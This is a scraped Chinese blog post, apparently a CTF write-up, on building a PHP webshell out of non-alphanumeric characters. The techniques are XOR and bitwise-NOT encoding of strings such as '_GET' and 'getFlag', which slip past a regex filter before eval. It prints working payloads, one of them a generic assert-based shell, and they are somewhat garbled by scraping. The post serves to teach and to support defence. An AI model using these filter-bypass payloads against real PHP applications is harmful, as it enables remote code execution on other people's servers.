博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHP无字母数字构造Webshell
阅读量:3959 次
发布时间:2019-05-24

本文共 950 字,大约阅读时间需要 3 分钟。

题目

index.php:
40){
//检测字符长度 die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){
//限制字母和数字 die("NO."); } @eval($code); //$code的值要为非字母和数字}else{
highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>

flag.php:

解题过程

方法一

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

websell:

答案

$_="`{
{
{"^"?<>/";${
$_}[_](${
$_}[__]);&_=getFlag $_="`{
{
{"^"?<>/"; //_GET${
$_}[_](${
$_}[__]); //$_GET[_]($_GET[__])&_=getFlag //执行函数 eval("getFlag(null)")
webshell:$_="`{
{
{"^"?<>/";${
$_}[_](${
$_}[__]);&_=assert&__=phpinfo()

其他类型答案

如果在加上不能有&_字符呢?

只要eval函数执行了“getFlag()”字符串即可,那么绕过正则匹配即可:

把getFlag取反然后URL编码:

?code= =   _=~%98%9A%8B%B9%93%9E%98; = _();

这里为什么正则没有检测到,因为后端自动进行了解码,解码为非字母和数字字符,而eval执行了取反还原为getFlag字符。
既然可以利用取反~进行编码绕过正则检测,那么也可以取反编码GET、_POST。

参考链接 :https://blog.csdn.net/a15803617402/article/details/83589181

你可能感兴趣的文章
inode
查看>>
Shell: sh,bash,csh,tcsh等shell的区别
查看>>
golang ubuntu 配置 笔记
查看>>
vim 常用命令
查看>>
golang 开源项目
查看>>
ubntu 开发服务进程
查看>>
linux 常用命令以及技巧
查看>>
记录1年免费亚马逊AWS云服务器申请方法过程及使用技巧
查看>>
golang文章
查看>>
一些特殊的符号
查看>>
shell脚本的exit问题(退出脚本还是退出终端)
查看>>
linux export命令参数及用法详解--linux设置环境变量命令
查看>>
Shell单引号,双引号,反引号,反斜杠
查看>>
Qt中内存泄露和退出崩溃的问题
查看>>
常见颜色
查看>>
Source Insight 经典教程
查看>>
快速打开菜单附件中的工具
查看>>
Windows系统进程间通信
查看>>
linux exec的用法
查看>>
C语言中如何使用宏
查看>>